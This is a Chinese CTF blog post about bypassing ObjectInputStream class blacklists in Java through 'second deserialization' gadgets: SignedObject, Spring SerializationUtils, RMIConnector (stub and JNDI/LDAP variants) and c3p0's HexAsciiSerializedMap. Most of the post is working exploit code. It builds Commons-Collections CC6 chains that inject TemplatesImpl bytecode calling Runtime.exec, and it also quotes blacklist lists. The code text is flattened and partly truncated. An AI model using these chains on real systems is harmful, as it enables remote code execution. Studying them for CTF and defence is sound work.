前言 很多java题目,大都弄了个类继承ObjectInputStream,重写其resolveClass方法,在里面添加对反序列化类黑名单的校验。这也为我AWDP修java题提供了一些思路。
比如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public  class  MyObjectInputStream  extends  ObjectInputStream  {private  static  final  String[] blacklist = new  String []{"java\\.security.*" , "java\\.rmi.*" ,  "com\\.fasterxml.*" , "com\\.ctf\\.*" ,"org\\.springframework.*" , "org\\.yaml.*" , "javax\\.management\\.remote.*" public  MyObjectInputStream (InputStream inputStream)  throws  IOException {super (inputStream);protected  Class resolveClass (ObjectStreamClass cls)  throws  IOException, ClassNotFoundException {if (!contains(cls.getName())) {return  super .resolveClass(cls);else  {throw  new  InvalidClassException ("Unexpected serialized class" , cls.getName());public  static  boolean  contains (String targetValue)  {for  (String forbiddenPackage : blacklist) {if  (targetValue.matches(forbiddenPackage))return  true ;return  false ;
或这种:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public  class  MyownObjectInputStream  extends  ObjectInputStream  {private  ArrayList  Blacklist  =  new  ArrayList ();public  MyownObjectInputStream (InputStream in)  throws  IOException {super (in);this .Blacklist.add(Hashtable.class.getName());this .Blacklist.add(HashSet.class.getName());this .Blacklist.add(JdbcRowSetImpl.class.getName());this .Blacklist.add(TreeMap.class.getName());this .Blacklist.add(HotSwappableTargetSource.class.getName());this .Blacklist.add(XString.class.getName());this .Blacklist.add(BadAttributeValueExpException.class.getName());this .Blacklist.add(TemplatesImpl.class.getName());this .Blacklist.add(ToStringBean.class.getName());this .Blacklist.add("com.sun.jndi.ldap.LdapAttribute" );protected  Class<?> resolveClass(ObjectStreamClass desc) throws  IOException, ClassNotFoundException {if  (this .Blacklist.contains(desc.getName())) {throw  new  InvalidClassException ("dont do this" );else  {return  super .resolveClass(desc);
这些黑名单中的类在反序列化中当然是很有用途的。
但是在比赛做题的时候就很烦了,若没有积累充足的Java反序列化利用链经验,很难绕。而且比赛时临时去找触发类也挺难的。尤其是断网的线下环境更是抽象,种种原因甚至使得web题目里Java反序列化做出来的肯定是最少的人。
Java题就变成一道类的排列组合缝合怪了🤯,想办法缝出一条可以打通的在黑名单之外的利用链。
这时候就可以考虑一下二次反序列化了,不用你定义的检测黑名单的ObjectInputStream去加载序列化对象,而是找到一条可以触发readObject的链子,用原生的ObjectInputStream去resolveClass
SignedObject 遇到过且实操过两次的好东西。
关键在于
1 java.security.SignedObject#getObject
这个类在Hessian反序列化中也用过(Hessian的会放在后面再更),由于Hessian反序列化的特殊性,不会执行类的readObject来反序列化,而是通过反射获取field再填充进一个空的实例化对象,_tfactory又是transient修饰,writeObject不会写进去,导致TemplatesImpl不能利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public  final  class  SignedObject  implements  Serializable  {public  SignedObject (Serializable object, PrivateKey signingKey,                         Signature signingEngine) throws  IOException, InvalidKeyException, SignatureException {ByteArrayOutputStream  b  =  new  ByteArrayOutputStream ();ObjectOutput  a  =  new  ObjectOutputStream (b);this .content = b.toByteArray();this .sign(signingKey, signingEngine);public  Object getObject () throws  IOException, ClassNotFoundExceptionByteArrayInputStream  b  =  new  ByteArrayInputStream (this .content);ObjectInput  a  =  new  ObjectInputStream (b);Object  obj  =  a.readObject();return  obj;
触发方式:能够执行类的getter方法,比如配合ROME或FastJson打:
1 2 3 4 5 6 7 8 KeyPairGenerator keyPairGenerator;"DSA" );1024 );KeyPair  keyPair  =  keyPairGenerator.genKeyPair();PrivateKey  privateKey  =  keyPair.getPrivate();Signature  signingEngine  =  Signature.getInstance("DSA" );SignedObject  signedObject  =  new  SignedObject (object_with_evil_readObject, privateKey, signingEngine);
SerializationUtils 1 org.springframework.util.SerializationUtils.deserialize
1 2 3 4 5 6 7 8 public  static  Object deserialize (@Nullable  byte [] bytes)  {if  (bytes == null ) {return  null ;try  (ObjectInputStream  ois  =  new  ObjectInputStream (new  ByteArrayInputStream (bytes))) {return  ois.readObject();
RMIConnector 1 javax.management.remote.rmi.RMIConnector#findRMIServerJRMP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private  RMIServer findRMIServerJRMP (String base64, Map<String, ?> env, boolean  isIiop) throws  IOException {final  byte [] serialized;try  {final  ByteArrayInputStream  bin  =  new  ByteArrayInputStream (serialized);final  ClassLoader  loader  =  EnvHelp.resolveClientClassLoader(env);final  ObjectInputStream  oin  = null ) ?new  ObjectInputStream (bin) :new  ObjectInputStreamWithLoader (bin, loader);final  Object stub;try  {
若能控制base64参数的内容就可以任意反序列化。
往上回溯:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private  RMIServer findRMIServer (JMXServiceURL directoryURL,                                 Map<String, Object> environment)  {final  boolean  isIiop  =  RMIConnectorServer.isIiopURL(directoryURL,true );if  (isIiop) {String  path  =  directoryURL.getURLPath();int  end  =  path.indexOf(';' );if  (end < 0 ) end = path.length();if  (path.startsWith("/jndi/" ))return  findRMIServerJNDI(path.substring(6 ,end), environment, isIiop);else  if  (path.startsWith("/stub/" ))return  findRMIServerJRMP(path.substring(6 ,end), environment, isIiop);else  if  (path.startsWith("/ior/" )) {if  (!IIOPHelper.isAvailable())throw  new  IOException ("iiop protocol not available" );return  findRMIServerIIOP(path.substring(5 ,end), environment, isIiop);else  {final  String  msg  =  "URL path must begin with /jndi/ or /stub/ "  +"or /ior/: "  + path;throw  new  MalformedURLException (msg);
path以/stub/开头就能进到findRMIServerJRMP,path中/stub/为序列化字节的base64编码
path由directoryURL#getURLPath得到
在往上发现connect和doStart调用了findRMIServer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public  void  connect ()  throws  IOException {null );public  synchronized  void  connect (Map<String,?> environment)  {final  boolean  tracing  =  logger.traceOn();String         idstr    =  (tracing?"[" +this .toString()+"]" :null );if  (terminated) {"connect" ,idstr + " already closed." );throw  new  IOException ("Connector closed" );if  (connected) {"connect" ,idstr + " already connected." );return ;try  {final  Map<String, Object> usemap =new  HashMap <String, Object>((this .env==null ) ?this .env);if  (environment != null ) {if  (tracing) logger.trace("connect" ,idstr + " finding stub..." );RMIServer  stub  =  (rmiServer!=null )?rmiServer:protected  void  doStart ()  throws  IOException {try  {null )?rmiServer:
利用CC链的InvokerTransformer来触发connect(doStart被protected修饰,不能用InvokerTransformer触发):
以CC6为例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 import  java.io.ByteArrayInputStream;import  java.io.ByteArrayOutputStream;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.lang.reflect.Field;import  java.util.Base64;import  java.util.HashMap;import  java.util.Map;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  javassist.ClassPool;import  javassist.CtClass;import  javassist.CtConstructor;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.keyvalue.TiedMapEntry;import  org.apache.commons.collections.map.LazyMap;import  javax.management.remote.JMXServiceURL;import  javax.management.remote.rmi.RMIConnector;public  class  RMIConnectorTest  {public  static  void  setValue (Object obj, String name, Object value)  throws  Exception {Field  field  =  obj.getClass().getDeclaredField(name);true );public  static  String getCode ()  throws  Exception {ClassPool  pool  =  ClassPool.getDefault();CtClass  clazz  =  pool.makeClass("a" );CtClass  superClass  =  pool.get(AbstractTranslet.class.getName());CtConstructor  constructor  =  new  CtConstructor (new  CtClass []{}, clazz);"Runtime.getRuntime().exec(\"calc\");" );byte [][] bytes = new  byte [][]{clazz.toBytecode()};TemplatesImpl  templates  =  TemplatesImpl.class.newInstance();"_bytecodes" , bytes);"_name" , "EddieMurphy" );"_tfactory" , null );Transformer  transformer  =  new  InvokerTransformer ("getClass" , null , null );Map  innerMap  =  new  HashMap ();Map  outerMap  =  LazyMap.decorate(innerMap, transformer);TiedMapEntry  tiedMapEntry  =  new  TiedMapEntry (outerMap, templates);Map  expMap  =  new  HashMap ();"xxx" );"iMethodName" , "newTransformer" );ByteArrayOutputStream  baos  =  new  ByteArrayOutputStream ();ObjectOutputStream  oos  =  new  ObjectOutputStream (baos);return  new  String (Base64.getEncoder().encode(baos.toByteArray()));public  static  void  main (String args[])  throws  Exception {RMIConnector  rmiConnector  =  new  RMIConnector (new  JMXServiceURL ("service:jmx:rmi://127.0.0.1:8888/stub/"  + getCode()), new  HashMap <>());Transformer  invokeTransformer  =  InvokerTransformer.getInstance("connect" );Transformer  constantTransformer  =  new  ConstantTransformer (1 );Map  innerMap  =  new  HashMap ();Map  lazyMap  =  LazyMap.decorate(innerMap, constantTransformer);TiedMapEntry  entry  =  new  TiedMapEntry (lazyMap, "test" );Map  expMap  =  new  HashMap ();"xxx" );"test" );"factory" , invokeTransformer);"key" , rmiConnector);ByteArrayOutputStream  baos  =  new  ByteArrayOutputStream ();ObjectOutputStream  oos  =  new  ObjectOutputStream (baos);ObjectInputStream  ois  =  new  ObjectInputStream (new  ByteArrayInputStream (baos.toByteArray()));Object  o  =  (Object) ois.readObject();
可以看到findRMIServerJRMP支持jndi、stub、iiop
跟进path以/jndi/开头的分支:findRMIServerJNDI:
1 2 3 4 5 6 7 8 private  RMIServer findRMIServerJNDI (String jndiURL, Map<String, ?> env,                                     boolean  isIiop) throws  NamingException {InitialContext  ctx  =  new  InitialContext (EnvHelp.mapToHashtable(env));Object  objref  =  ctx.lookup(jndiURL);
熟悉的InitialContext#lookup,改一下path就可以jndi注入了
1 new  JMXServiceURL ("service:jmx:rmi://127.0.0.1:8888/jndi/ldap://127.0.0.1:8099/aaa"  )
WrapperConnectionPoolDataSource com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setuserOverridesAsString可以跟进到
1 C3P0ImplUtils#parseUserOverridesAsString
1 2 3 4 5 6 7 8 9 10 11 private  final  static  String  HASM_HEADER  =  "HexAsciiSerializedMap" ;public  static  Map parseUserOverridesAsString ( String userOverridesAsString ) { if  (userOverridesAsString != null )String  hexAscii  =  userOverridesAsString.substring(HASM_HEADER.length() + 1 , userOverridesAsString.length() - 1 );byte [] serBytes = ByteUtils.fromHexAscii( hexAscii );return  Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );else return  Collections.EMPTY_MAP;
注意这里字符截取是从HASM_HEADER.length() + 1到userOverridesAsString.length() - 1,最后一位会吃掉
1 SerializableUtils#fromByteArray
1 2 3 4 5 6 7 8 9 10 11 12 public  static  Object fromByteArray (byte [] bytes)  { Object  out  =  deserializeFromByteArray( bytes ); if  (out instanceof  IndirectlySerialized)return  ((IndirectlySerialized) out).getObject();else return  out;public  static  Object deserializeFromByteArray (byte [] bytes) {ObjectInputStream  in  =  new  ObjectInputStream (new  ByteArrayInputStream (bytes));return  in.readObject();
配合fastjson或ROME:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import  java.io.ByteArrayOutputStream;import  java.io.ObjectOutputStream;import  java.lang.reflect.Field;import  java.util.HashMap;import  java.util.Map;import  com.mchange.lang.ByteUtils;import  com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  javassist.ClassPool;import  javassist.CtClass;import  javassist.CtConstructor;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.keyvalue.TiedMapEntry;import  org.apache.commons.collections.map.LazyMap;public  class  Exp  {public  static  void  setValue (Object obj, String name, Object value)  throws  Exception{Field  field  =  obj.getClass().getDeclaredField(name);true );public  static  byte [] getCC6Bytes() throws  Exception {ClassPool  pool  =  ClassPool.getDefault();CtClass  clazz  =  pool.makeClass("a" );CtClass  superClass  =  pool.get(AbstractTranslet.class.getName());CtConstructor  constructor  =  new  CtConstructor (new  CtClass []{}, clazz);"Runtime.getRuntime().exec(\"calc\");" );byte [][] bytes = new  byte [][]{clazz.toBytecode()};TemplatesImpl  templates  =  TemplatesImpl.class.newInstance();"_bytecodes" , bytes);"_name" , "p4d0rn" );"_tfactory" , null );Transformer  transformer  =  new  InvokerTransformer ("getClass" , null , null );Map  innerMap  =  new  HashMap ();Map  outerMap  =  LazyMap.decorate(innerMap, transformer);TiedMapEntry  tiedMapEntry  =  new  TiedMapEntry (outerMap, templates);Map  expMap  =  new  HashMap ();"xxx" );"iMethodName" , "newTransformer" );ByteArrayOutputStream  baos  =  new  ByteArrayOutputStream ();ObjectOutputStream  oos  =  new  ObjectOutputStream (baos);return  baos.toByteArray();public  static  void  main (String[] args)  throws  Exception{String  hex  =  ByteUtils.toHexAscii(getCC6Bytes());String  payload  =  "HexAsciiSerializedMap:"  + hex + '!' ;WrapperConnectionPoolDataSource  wrapperConnectionPoolDataSource  =  new  WrapperConnectionPoolDataSource ();
参考: